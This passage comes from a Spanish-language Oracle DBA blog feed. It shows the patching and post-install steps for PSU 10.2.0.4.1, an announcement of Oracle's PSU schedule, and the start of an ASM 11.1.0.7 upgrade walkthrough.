Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/recompile_precheck_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/cpu/view_recompile/view_recompile_jan2008cpu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/psu/10.2.0.4.1/catpsu_rollback.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/bundledata_PSU.xml"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/catbundle.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/jox.o"

Patching component oracle.javavm.server, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/lib/libjox10.so"

Patching component oracle.sysman.repository.core, 10.2.0.4.0a...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsg.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/rsc/inst/RsrcMonitorMsgID.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/rsrcmgr/RsrcmgrMonController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/MemoryController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SessionDetailsController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/db/adm/inst/SitemapController.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emDB.jar" with "/sysman/jlib/emDB.jar/oracle/sysman/emo/perf/bean/sesn/SessionDetails.class"

Patching component oracle.sysman.console.db, 10.2.0.4.0...
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_healthgif$__jsp_StaticText.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/sysman/jlib/emjsp.jar" with "/sysman/jlib/emjsp.jar/_database/_instance/_sitemap/_health$__jsp_StaticText.class"

Patching component oracle.ovm, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmctrg.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadmb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmadms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmasrtb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmltb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutlb.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/owmutls.plb"

Patching component oracle.network.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libn10.a"  with "lib/libn10.a/nacom.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglgr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglro.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsgcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/network/lib/libnlsnr10.a"  with "network/lib/libnlsnr10.a/nsglsn.o"

Patching component oracle.network.listener, 10.2.0.4.0...
Running make for target iextjob
Running make for target iextjobo
Running make for target client_sharedlib
Running make for target idgmgrl
Running make for target ioracle
Running make for target client_sharedlib
Running make for target itnslsnr
ApplySession adding interim patch '8576156' to inventory

Verifying the update...
Inventory check OK: Patch ID 8576156 is registered in Oracle Home inventory with proper meta-data.
Files check OK: Files from Patch ID 8576156 are present in Oracle Home.

--------------------------------------------------------------------------------
********************************************************************************
********************************************************************************
**                                ATTENTION                                   **
**                                                                            **
** Please note that the Patch Set Update Installation (PSU Deinstallation)    **
** is not complete until all the Post Installation (Post Deinstallation)      **
** instructions noted in the Readme accompanying this PSU, have been          **
** successfully completed.                                                    **
**                                                                            **
********************************************************************************
********************************************************************************

--------------------------------------------------------------------------------

Execution of 'sh /home/oracle/8576156/custom/scripts/post -apply 8576156 ':


Return Code = 0

The local system has been patched and can be restarted.


OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Hasta ahora todo va bien, pero falta un paso final, necesario para que el &lt;b&gt;&lt;i&gt;Scheduler&lt;/i&gt;&lt;/b&gt; funcione adecuadamente.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ su root
Password:
[root@urania 8576156]# sh psu_root.sh
[root@urania 8576156]# exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Proceso concluído, pero no hemos terminado, falta hacer la &lt;b&gt;post instalación&lt;/b&gt;. Empezamos por ejecutar &lt;i&gt;catbundle.sql&lt;/i&gt;, no olvidar revisar los logs para verificar que no hubieron errores.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test&gt; startup
SYS@test&gt; @catbundle.sql psu apply
. . .
. . .
. . .
SYS@test&gt; ALTER SESSION SET current_schema = SYS;

Session altered.

SYS@test&gt; PROMPT Updating registry...
Updating registry...
SYS@test&gt; INSERT INTO registry$history
  2    (action_time, action,
  3     namespace, version, id,
  4     bundle_series, comments)
  5  VALUES
  6    (SYSTIMESTAMP, 'APPLY',
  7     SYS_CONTEXT('REGISTRY$CTX','NAMESPACE'),
  8     '10.2.0.4',
  9     1,
 10     'PSU',
 11     'PSU 10.2.0.4.1');

1 row created.

SYS@test&gt; COMMIT;

Commit complete.

SYS@test&gt; SPOOL off
SYS@test&gt; SET echo off
Check the following log file for errors:
/u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/catbundle/catbundle_PSU_TEST_APPLY_2009Jul15_13_13_44.log

SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El paso final es &lt;b&gt;recompilar&lt;/b&gt; las vistas de la base de datos, ojo que puede tomar bastantes minutos. Primero verificamos cuántos objetos se compilarán y luego ejecutamos la compilación en sí.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania admin]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test&gt; @recompile_precheck_jan2008cpu.sql

Running precheck.sql...


Number of views to be recompiled :2081
-----------------------------------------------------------------------

Number of objects to be recompiled :4171
Please follow the README.txt instructions for running viewrecomp.sql

PL/SQL procedure successfully completed.

SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/cpu/view_recompile
[oracle@urania view_recompile]$ sqlplus / as sysdba
SYS@test&gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; startup upgrade
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size              96471904 bytes
Database Buffers          146800640 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test&gt; @view_recompile_jan2008cpu.sql

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

PL/SQL procedure successfully completed.

1 row created.

Commit complete.

No. of Invalid Objects is :1595
Please refer to README.html to for instructions on validating these objects

PL/SQL procedure successfully completed.

Logfile for the current viewrecomp.sql session is : vcomp_TEST_15Jul2009_13_23_16.log
SYS@test&gt; shutdown
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; startup
ORACLE instance started.

Total System Global Area  247463936 bytes
Fixed Size                  1266848 bytes
Variable Size             109054816 bytes
Database Buffers          134217728 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.
SYS@test&gt; exit&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Algunos objetos quedaron &lt;b&gt;descompilados&lt;/b&gt; por lo que debemos ejecutar &lt;b&gt;&lt;i&gt;utlrp.sql&lt;/i&gt;&lt;/b&gt; para compilarlos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/rdbms/admin
[oracle@urania admin]$ sqlplus / as sysdba
SYS@test&gt; @utlrp.sql

TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_BGN  2009-07-15 13:29:22

DOC&gt;   The following PL/SQL block invokes UTL_RECOMP to recompile invalid
DOC&gt;   objects in the database. Recompilation time is proportional to the
DOC&gt;   number of invalid objects in the database, so this command may take
DOC&gt;   a long time to execute on a database with a large number of invalid
DOC&gt;   objects.
DOC&gt;
DOC&gt;   Use the following queries to track recompilation progress:
DOC&gt;
DOC&gt;   1. Query returning the number of invalid objects remaining. This
DOC&gt;      number should decrease with time.
DOC&gt;         SELECT COUNT(*) FROM obj$ WHERE status IN (4, 5, 6);
DOC&gt;
DOC&gt;   2. Query returning the number of objects compiled so far. This number
DOC&gt;      should increase with time.
DOC&gt;         SELECT COUNT(*) FROM UTL_RECOMP_COMPILED;
DOC&gt;
DOC&gt;   This script automatically chooses serial or parallel recompilation
DOC&gt;   based on the number of CPUs available (parameter cpu_count) multiplied
DOC&gt;   by the number of threads per CPU (parameter parallel_threads_per_cpu).
DOC&gt;   On RAC, this number is added across all RAC nodes.
DOC&gt;
DOC&gt;   UTL_RECOMP uses DBMS_SCHEDULER to create jobs for parallel
DOC&gt;   recompilation. Jobs are created without instance affinity so that they
DOC&gt;   can migrate across RAC nodes. Use the following queries to verify
DOC&gt;   whether UTL_RECOMP jobs are being created and run correctly:
DOC&gt;
DOC&gt;   1. Query showing jobs created by UTL_RECOMP
DOC&gt;         SELECT job_name FROM dba_scheduler_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;
DOC&gt;   2. Query showing UTL_RECOMP jobs that are running
DOC&gt;         SELECT job_name FROM dba_scheduler_running_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;#

PL/SQL procedure successfully completed.


TIMESTAMP
----------------------------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_END  2009-07-15 13:31:06


PL/SQL procedure successfully completed.

DOC&gt; The following query reports the number of objects that have compiled
DOC&gt; with errors (objects that compile with errors have status set to 3 in
DOC&gt; obj$). If the number is higher than expected, please examine the error
DOC&gt; messages reported with each object (using SHOW ERRORS) to see if they
DOC&gt; point to system misconfiguration or resource constraints that must be
DOC&gt; fixed before attempting to recompile these objects.
DOC&gt;#

OBJECTS WITH ERRORS
-------------------
                  0

DOC&gt; The following query reports the number of errors caught during
DOC&gt; recompilation. If this number is non-zero, please query the error
DOC&gt; messages in the table UTL_RECOMP_ERRORS to see if any of these errors
DOC&gt; are due to misconfiguration or resource constraints that must be
DOC&gt; fixed before objects can compile successfully.
DOC&gt;#

ERRORS DURING RECOMPILATION
---------------------------
                          0


PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;De ser necesario habría que recompilar manualmente los objetos que hubiesen quedado descompilados. Con esto se ha concluído satisfactoriamente la instalación del primer &lt;b&gt;PSU&lt;/b&gt;, contamos ahora con &lt;b&gt;Oracle 10.2.0.4.1&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@test&gt; select version, comments from registry$history;

VERSION              COMMENTS
-------------------- --------------------
10.2.0.4             PSU 10.2.0.4.1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si bien les he mostrado los pasos a seguir, esto no debe ser considerado un reemplazo del procedimiento formal indicado en el archivo &lt;i&gt;Readme.html&lt;/i&gt; que acompaña a este &lt;b&gt;PSU&lt;/b&gt;, hay procedimientos especiales para &lt;b&gt;RAC&lt;/b&gt; por ejemplo, así que a ir leyendo la documentación y haciendo las pruebas del caso para que finalmente lo apliquen en sus ambientes de producción, suerte!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/07/patch-set-updates.html"&gt;Patch Set Update&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/cloning-oracle-home-directory.html"&gt;De como un clon nos puede ayudar con un Patch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-6295316184342599692?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/ll1r9jfXhh0" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:13:01.334-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzpUrHwnvI/AAAAAAAAAdA/y3qKTkOiiEM/s72-c/PSU.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">7</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/07/instalacion-patch-set-update-psu.html</feedburner:origLink></item><item><title>Patch Set Updates</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/Ea1TNK-Aiac/patch-set-updates.html</link><category>patching</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Tue, 07 Jul 2009 15:05:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5926633495002880143</guid><description>&lt;div&gt;Oracle acaba de hacer público en &lt;i&gt;My Oracle Support&lt;/i&gt;, mediante el &lt;i&gt;Note &lt;b&gt;850471.1&lt;/i&gt;&lt;/b&gt;, que a partir de Julio y de forma trimestral, estará liberando un conjunto de &lt;i&gt;patches&lt;/i&gt; recomendados a los que se conocerá como &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt; o &lt;i&gt;PSU&lt;/i&gt;. Los &lt;i&gt;PSU&lt;/i&gt; son acumulativos y su aplicación origina un cambio en la versión a nivel del quinto número, es decir, el primer &lt;i&gt;PSU&lt;/i&gt; para Oracle 10.2.0.4 originará que tengamos una instalación con versión &lt;b&gt;10.2.0.4.1&lt;/b&gt;, el siguiente &lt;i&gt;PSU&lt;/i&gt; será &lt;b&gt;10.2.0.4.2&lt;/b&gt; y así en adelante.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Se anuncia que el primer &lt;i&gt;PSU&lt;/i&gt; estará disponible para 10.2.0.4 exclusivamente, en las principales plataformas con excepción de Windows, donde seguirán distribuyéndose los conocidos &lt;b&gt;&lt;i&gt;Bundle Patches&lt;/i&gt;&lt;/b&gt; (&lt;i&gt;Note &lt;b&gt;161549.1&lt;/b&gt; Oracle Database Server and Networking Patches for Microsoft Platforms&lt;/i&gt;). Oracle indica que los &lt;i&gt;PSU&lt;/i&gt; contendrán los &lt;b&gt;&lt;i&gt;Critical Patch Updates&lt;/i&gt;&lt;/b&gt; o &lt;i&gt;CPU&lt;/i&gt;, pero que éstos seguirán estando disponibles de forma que se podrá elegir entre instalar el &lt;i&gt;PSU&lt;/i&gt; o simplemente el &lt;i&gt;CPU&lt;/i&gt;; lo que no queda claro es si los &lt;i&gt;PSU&lt;/i&gt; serán un reemplazo de los &lt;b&gt;&lt;i&gt;Recommended Patches&lt;/b&gt;&lt;/i&gt; (&lt;i&gt;Note &lt;b&gt;756671.1&lt;/b&gt; Oracle Recommended Patches – Oracle database&lt;/i&gt;) que ya desde hace algún tiempo nos permiten obtener los &lt;i&gt;patches&lt;/i&gt; recomendados para Oracle 10.2.0.3 en adelante.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Más allá del enredo en los nuevos términos y sus abreviaturas, la introducción de los &lt;i&gt;PSU&lt;/i&gt; prometen simplificar la labor de &lt;i&gt;patching&lt;/i&gt; pues ataca los &lt;i&gt;bugs&lt;/i&gt; que han sido identificados como críticos, que han impactado a un gran número de clientes, cuyos &lt;i&gt;fixes&lt;/i&gt; ya han sido probados en los clientes y que no involucran cambios severos en la funcionalidad de Oracle ni cambios de configuración, y si se tiene &lt;b&gt;&lt;i&gt;RAC&lt;/b&gt;&lt;/i&gt; no es necesario suspender todo el servicio pues se puede aplicar en cada nodo por separado, mientras los demás siguen operando, habilidad conocida como &lt;b&gt;&lt;i&gt;Rolling Patching&lt;/i&gt;&lt;/b&gt;, ¿qué más podemos pedir? Así que a estar atentos, el primer &lt;i&gt;PSU&lt;/i&gt; estará disponible este &lt;b&gt;14 de Julio de 2009&lt;/b&gt; y los siguientes el martes más cercano al 15 de Enero, Abril, Julio y Octubre.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/07/instalacion-patch-set-update-psu.html"&gt;Primer PSU ya está disponible, instalémoslo!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5926633495002880143?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/Ea1TNK-Aiac" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:14:21.980-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/07/patch-set-updates.html</feedburner:origLink></item><item><title>Actualizando ASM y registrándolo en OEM</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/tvm8XaX5FPk/asm-series-upgrade-register-oem.html</link><category>ASM</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 09 Apr 2009 14:07:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-208189200796310522</guid><description>&lt;div&gt;Con este &lt;b&gt;Post&lt;/b&gt; ponemos fin a la serie dedicada a &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;, recapitulando: hemos visto cómo instalar el software y cómo crear una instancia &lt;i&gt;ASM&lt;/i&gt;, para luego proceder a migrar la base de datos de forma manual y usando &lt;i&gt;OEM Database Console&lt;/i&gt;, pues bien ahora veremos el procedimiento a seguir para realizar un &lt;b&gt;&lt;i&gt;upgrade&lt;/i&gt;&lt;/b&gt; a &lt;i&gt;ASM&lt;/i&gt; y cómo hacer para registrar esta instancia para que sea administrable desde &lt;i&gt;OEM Database Console&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;I. Upgrade de &lt;i&gt;ASM&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Partiremos del supuesto que tenemos &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt; 10.2.0.1&lt;/b&gt; con &lt;i&gt;ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_1&lt;/i&gt; y que queremos actualizar a &lt;b&gt;&lt;i&gt;ASM&lt;/i&gt; 11.1.0.7&lt;/b&gt;, con &lt;i&gt;ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Debemos &lt;b&gt;detener&lt;/b&gt; la instancia &lt;i&gt;ASM&lt;/i&gt; pero esto no es posible sin que primero hagamos lo mismo con las bases de datos que la están usando.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:13:11 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl&amp;gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;+ASM&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 00:15:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@+ASM&amp;gt; shutdown immediate
ASM diskgroups dismounted
ASM instance shutdown.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Antes de actualizar &lt;i&gt;ASM&lt;/i&gt; se requiere que &lt;i&gt;Oracle Cluster Synchronization Services&lt;/i&gt; (&lt;i&gt;CCS&lt;/i&gt;) esté configurado para ejecutarse desde el nuevo &lt;i&gt;Oracle Home&lt;/i&gt;, para ello debemos ejecutar lo siguiente con el usuario &lt;b&gt;root&lt;/b&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania]# cd /u01/app/oracle/product/11.1.0/db_2/bin
[root@urania bin]# ./localconfig reset
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized
Stale CSS daemon is running... killing it now
Cleaning up Network socket directories
Setting up Network socket directories
Adding to inittab
Startup will be queued to init within 30 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
Cluster Synchronization Services is active on these nodes.
        urania
Cluster Synchronization Services is active on all the nodes.
Oracle CSS service is installed and running under init(1M)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Es &lt;b&gt;altamente recomendable&lt;/b&gt; que el &lt;i&gt;listener &lt;/i&gt;en uso sea el que corresponde al &lt;i&gt;home&lt;/i&gt; de &lt;i&gt;ASM&lt;/i&gt;, por lo que podemos copiar los archivos de configuración (listener.ora, sqlnet.ora) desde el &lt;i&gt;home inicial&lt;/i&gt; hacia el &lt;i&gt;nuevo home&lt;/i&gt; e iniciar &lt;b&gt;desde allí&lt;/b&gt; el &lt;i&gt;listener&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ export ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2
[oracle@urania ~]$ $ORACLE_HOME/bin/lsnrctl start

LSNRCTL for Linux: Version 11.1.0.7.0 - Production on 04-FEB-2009 00:52:53

Copyright (c) 1991, 2008, Oracle.  All rights reserved.

Starting /u01/app/oracle/product/11.1.0/db_2/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 11.1.0.7.0 - Production
System parameter file is /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Log messages written to /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=urania.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 11.1.0.7.0 - Production
Start Date                04-FEB-2009 00:52:54
Uptime                    0 days 0 hr. 0 min. 0 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /u01/app/oracle/product/11.1.0/db_2/network/admin/listener.ora
Listener Log File         /u01/app/oracle/diag/tnslsnr/urania/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=urania.localdomain)(PORT=1521)))
Services Summary...
Service "orcl.localdomain" has 1 instance(s).
  Instance "orcl", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; El &lt;i&gt;upgrade&lt;/i&gt; lo realizaremos con el utilitario &lt;i&gt;DBUA&lt;/i&gt;, pero debemos tener cuidado de invocar el que corresponde a la &lt;b&gt;nueva&lt;/b&gt; versión de ASM, que para nuestro ejemplo es la &lt;i&gt;11.1.0.7&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ $ORACLE_HOME/bin/dbua&lt;/pre&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzsQgxB42I/AAAAAAAAAdY/g8w3lPTNMEA/s1600-h/upgrade.asm.0.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzsQgxB42I/AAAAAAAAAdY/g8w3lPTNMEA/s400/upgrade.asm.0.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Se nos ofrece una bienvenida, la cual aceptamos y se nos presenta la alternativa de: actualizar una base de datos, o actualizar &lt;i&gt;ASM&lt;/i&gt;, escogemos &lt;b&gt;actualizar &lt;i&gt;ASM&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzsqwG4gmI/AAAAAAAAAdg/jCukAXoDpuw/s1600-h/upgrade.asm.1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzsqwG4gmI/AAAAAAAAAdg/jCukAXoDpuw/s400/upgrade.asm.1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Aparece un resumen de la actualización que se estará realizando, misma que aceptamos al presionar [&lt;i&gt;Finish&lt;/i&gt;].&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmztTfte7TI/AAAAAAAAAdo/zhacJnEtaBs/s1600-h/upgrade.asm.2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmztTfte7TI/AAAAAAAAAdo/zhacJnEtaBs/s400/upgrade.asm.2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; El proceso de &lt;i&gt;upgrade&lt;/i&gt; se inicia y luego de unos instantes se nos notifica de su conclusión.&lt;/div&gt;&lt;br /&gt;
